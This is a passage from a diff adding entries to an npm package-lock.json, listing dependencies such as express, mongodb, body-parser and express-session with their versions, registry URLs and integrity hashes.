"sha512-q/UEjfGJ2Cm3oKV71DJz9d25TPnq5rhBVL2Q4fA5wcC3jcrdn7+SssEybFIxwAvvP+YCsCYNKughoF33GxgycQ==" + }, + "balanced-match": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", + "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", + "dev": true + }, + "bl": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-2.2.0.tgz", + "integrity": "sha512-wbgvOpqopSr7uq6fJrLH8EsvYMJf9gzfo2jCsL2eTy75qXPukA4pCgHamOQkZtY5vmfVtjB+P3LNlMHW5CEZXA==", + "requires": { + "readable-stream": "^2.3.5", + "safe-buffer": "^5.1.1" + } + }, + "body-parser": { + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", + "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", + "requires": { + "bytes": "3.1.0", + "content-type": "~1.0.4", + "debug": "2.6.9", + "depd": "~1.1.2", + "http-errors": "1.7.2", + "iconv-lite": "0.4.24", + "on-finished": "~2.3.0", + "qs": "6.7.0", + "raw-body": "2.4.0", + "type-is": "~1.6.17" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + } + } + }, + "brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "bson": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/bson/-/bson-1.1.4.tgz", + "integrity": "sha512-S/yKGU1syOMzO86+dGpg2qGoDL0zvzcb262G+gqEy6TgP6rt6z6qxSFX/8X6vLC91P7G7C3nLs0+bvDzmvBA3Q==" + }, + "builtin-modules": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-1.1.1.tgz", + "integrity": "sha1-Jw8HbFpywC9bZaR9+Uxf46J4iS8=", + "dev": true + }, + "bytes": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", + "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==" + }, + "camelcase": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-1.2.1.tgz", + "integrity": "sha1-m7UwTS4LVmmLLHWLCKPqqdqlijk=" + }, + "center-align": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/center-align/-/center-align-0.1.3.tgz", + "integrity": "sha1-qg0yYptu6XIgBBHL1EYckHvCt60=", + "requires": { + "align-text": "^0.1.3", + "lazy-cache": "^1.0.3" + } + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "character-parser": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/character-parser/-/character-parser-2.2.0.tgz", + "integrity": "sha1-x84o821LzZdE5f/CxfzeHHMmH8A=", + "requires": { + "is-regex": "^1.0.3" + } + }, + "clean-css": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-4.2.3.tgz", + "integrity": "sha512-VcMWDN54ZN/DS+g58HYL5/n4Zrqe8vHJpGA8KdgUXFU4fuP/aHNw8eld9SyEIyabIMJX/0RaY/fplOo5hYLSFA==", + "requires": { + "source-map": "~0.6.0" + } + }, + "cliui": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-2.1.0.tgz", + "integrity": "sha1-S0dXYP+AJkx2LDoXGQMukcf+oNE=", + "requires": { + "center-align": "^0.1.1", + "right-align": "^0.1.1", + "wordwrap": "0.0.2" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "requires": { + "color-name": "1.1.3" + } + }, + "color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=", + "dev": true + }, + "combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "requires": { + "delayed-stream": "~1.0.0" + } + }, + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true + }, + "concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", + "dev": true + }, + "constantinople": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/constantinople/-/constantinople-3.1.2.tgz", + "integrity": "sha512-yePcBqEFhLOqSBtwYOGGS1exHo/s1xjekXiinh4itpNQGCu4KA1euPh1fg07N2wMITZXQkBz75Ntdt1ctGZouw==", + "requires": { + "@types/babel-types": "^7.0.0", + "@types/babylon": "^6.16.2", + "babel-types": "^6.26.0", + "babylon": "^6.18.0" + } + }, + "content-disposition": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", + "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", + "requires": { + "safe-buffer": "5.1.2" + } + }, + "content-type": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", + "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==" + }, + "cookie": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", + "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==" + }, + "cookie-parser": { + "version": "1.4.5", + "resolved": "https://registry.npmjs.org/cookie-parser/-/cookie-parser-1.4.5.tgz", + "integrity": "sha512-f13bPUj/gG/5mDr+xLmSxxDsB9DQiTIfhJS/sqjrmfAWiAN+x2O4i/XguTL9yDZ+/IFDanJ+5x7hC4CXT9Tdzw==", + "requires": { + "cookie": "0.4.0", + "cookie-signature": "1.0.6" + } + }, + "cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" + }, + "core-js": { + "version": "2.6.11", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.11.tgz", + "integrity": "sha512-5wjnpaT/3dV+XB4borEsnAYQchn00XSgTAWKDkEqv+K8KevjbzmofK6hfJ9TZIlpj2N0xQpazy7PiRQiWHqzWg==" + }, + "core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" + }, + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "requires": { + "ms": "2.0.0" + } + }, + "decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=" + }, + "delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=" + }, + "denque": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/denque/-/denque-1.4.1.tgz", + "integrity": "sha512-OfzPuSZKGcgr96rf1oODnfjqBFmr1DVoc/TrItj3Ohe0Ah1C5WX5Baquw/9U9KovnQ88EqmJbD66rKYUQYN1tQ==" + }, + "depd": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=" + }, + "destroy": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", + "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=" + }, + "diff": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", + "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", + "dev": true + }, + "doctypes": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/doctypes/-/doctypes-1.1.0.tgz", + "integrity": "sha1-6oCxBqh1OHdOijpKWv4pPeSJ4Kk=" + }, + "ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=" + }, + "encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=" + }, + "escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=" + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", + "dev": true + }, + "esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true + }, + "esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==" + }, + "etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=" + }, + "express": { + "version": "4.17.1", + "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", + "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==", + "requires": { + "accepts": "~1.3.7", + "array-flatten": "1.1.1", + "body-parser": "1.19.0", + "content-disposition": "0.5.3", + "content-type": "~1.0.4", + "cookie": "0.4.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "~1.1.2", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "~1.1.2", + "fresh": "0.5.2", + "merge-descriptors": "1.0.1", + "methods": "~1.1.2", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.7", + "proxy-addr": "~2.0.5", + "qs": "6.7.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.1.2", + "send": "0.17.1", + "serve-static": "1.14.1", + "setprototypeof": "1.1.1", + "statuses": "~1.5.0", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + } + } + }, + "express-session": { + "version": "1.17.1", + "resolved": "https://registry.npmjs.org/express-session/-/express-session-1.17.1.tgz", + "integrity": "sha512-UbHwgqjxQZJiWRTMyhvWGvjBQduGCSBDhhZXYenziMFjxst5rMV+aJZ6hKPHZnPyHGsrqRICxtX8jtEbm/z36Q==", + "requires": { + "cookie": "0.4.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "~2.0.0", + "on-headers": "~1.0.2", + "parseurl": "~1.3.3", + "safe-buffer": "5.2.0", + "uid-safe": "~2.1.5" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==" + }, + "safe-buffer": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz", + "integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg==" + } + } + }, + "finalhandler": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.2.tgz", + "integrity": "sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==", + "requires": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "statuses": "~1.5.0", + "unpipe": "~1.0.0" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + } + } + }, + "follow-redirects": { + "version": "1.5.10", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.5.10.tgz", + "integrity": "sha512-0V5l4Cizzvqt5D44aTXbFZz+FtyXV1vrDN6qrelxtfYQKW0KO0W2T/hkE8xvGa/540LkZlkaUjO4ailYTFtHVQ==", + "requires": { + "debug": "=3.1.0" + } + }, + "form-data": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.1.tgz", + "integrity": "sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==", + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + } + }, + "forwarded": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.1.2.tgz", + "integrity": "sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ=" + }, + "fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=" + }, + "fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", + "dev": true + }, + "function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + }, + "glob": { + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", + "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "requires": { + "function-bind": "^1.1.1" + } + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "http-errors": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", + "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", + "requires": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.1", + "statuses": ">= 1.5.0 < 2", + "toidentifier": "1.0.0" + } + }, + "iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "requires": { + "safer-buffer": ">= 2.1.2 < 3" + } + }, + "inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", + "dev": true, + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + }, + "ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==" + }, + "is-buffer": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz", + "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==" + }, + "is-expression": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-expression/-/is-expression-3.0.0.tgz", + "integrity": "sha1-Oayqa+f9HzRx3ELHQW5hwkMXrJ8=", + "requires": { + "acorn": "~4.0.2", + "object-assign": "^4.0.1" + }, + "dependencies": { + "acorn": { + "version": "4.0.13", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-4.0.13.tgz", + "integrity": "sha1-EFSVrlNh1pe9GVyCUZLhrX8lN4c=" + } + } + }, + "is-promise": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz", + "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==" + }, + "is-regex": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.0.5.tgz", + "integrity": "sha512-vlKW17SNq44owv5AQR3Cq0bQPEb8+kF3UKZ2fiZNOWtztYE5i0CzCZxFDwO58qAOWtxdBRVO/V5Qin1wjCqFYQ==", + "requires": { + "has": "^1.0.3" + } + }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + }, + "js-stringify": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/js-stringify/-/js-stringify-1.0.2.tgz", + "integrity": "sha1-Fzb939lyTyijaCrcYjCufk6Weds=" + }, + "js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "dev": true + }, + "js-yaml": { + "version": "3.14.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.0.tgz", + "integrity": "sha512-/4IbIeHcD9VMHFqDR/gQ7EdZdLimOvW2DdcxFjdyyZ9NsbS+ccrXqVWDtab/lRl5AlUqmpBx8EhPaWR+OtY17A==", + "dev": true, + "requires": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + } + }, + "jstransformer": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/jstransformer/-/jstransformer-1.0.0.tgz", + "integrity": "sha1-7Yvwkh4vPx7U1cGkT2hwntJHIsM=", + "requires": { + "is-promise": "^2.0.0", + "promise": "^7.0.1" + } + }, + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "requires": { + "is-buffer": "^1.1.5" + } + }, + "lazy-cache": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/lazy-cache/-/lazy-cache-1.0.4.tgz", + "integrity": "sha1-odePw6UEdMuAhF07O24dpJpEbo4=" + }, + "lodash": { + "version": "4.17.15", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", + "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==" + }, + "longest": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz", + "integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=" + }, + "media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=" + }, + "memory-pager": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/memory-pager/-/memory-pager-1.5.0.tgz", + "integrity": "sha512-ZS4Bp4r/Zoeq6+NLJpP+0Zzm0pR8whtGPf1XExKLJBAczGMnSi3It14OiNCStjQjM6NU1okjQGSxgEZN8eBYKg==", + "optional": true + }, + "merge-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", + "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=" + }, + "methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=" + }, + "mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" + }, + "mime-db": { + "version": "1.44.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.44.0.tgz", + "integrity": "sha512-/NOTfLrsPBVeH7YtFPgsVWveuL+4SjjYxaQ1xtM1KMFj7HdxlBlxeyNLzhyJVx7r4rZGJAZ/6lkKCitSc/Nmpg==" + }, + "mime-types": { + "version": "2.1.27", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.27.tgz", + "integrity": "sha512-JIhqnCasI9yD+SsmkquHBxTSEuZdQX5BuQnS2Vc7puQQQ+8yiP5AY5uWhpdv4YL4VM5c6iliiYWPgJ/nJQLp7w==", + "requires": { + "mime-db": "1.44.0" + } + }, + "minimatch": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", + "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "dev": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "minimist": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", + "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==", + "dev": true + }, + "mkdirp": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", + "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", + "dev": true, + "requires": { + "minimist": "^1.2.5" + } + }, + "mongodb": { + "version": "3.5.8", + "resolved": "https://registry.npmjs.org/mongodb/-/mongodb-3.5.8.tgz", + "integrity": "sha512-jz7mR58z66JKL8Px4ZY+FXbgB7d0a0hEGCT7kw8iye46/gsqPrOEpZOswwJ2BQlfzsrCLKdsF9UcaUfGVN2HrQ==", + "requires": { + "bl": "^2.2.0", + "bson": "^1.1.4", + "denque": "^1.4.1", + "require_optional": "^1.0.1", + "safe-buffer": "^5.1.2", + "saslprep": "^1.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "negotiator": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.2.tgz", + "integrity": "sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==" + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" + }, + "on-finished": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", + "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", + "requires": { + "ee-first": "1.1.1" + } + }, + "on-headers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz", + "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==" + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "dev": true, + "requires": { + "wrappy": "1" + } + }, + 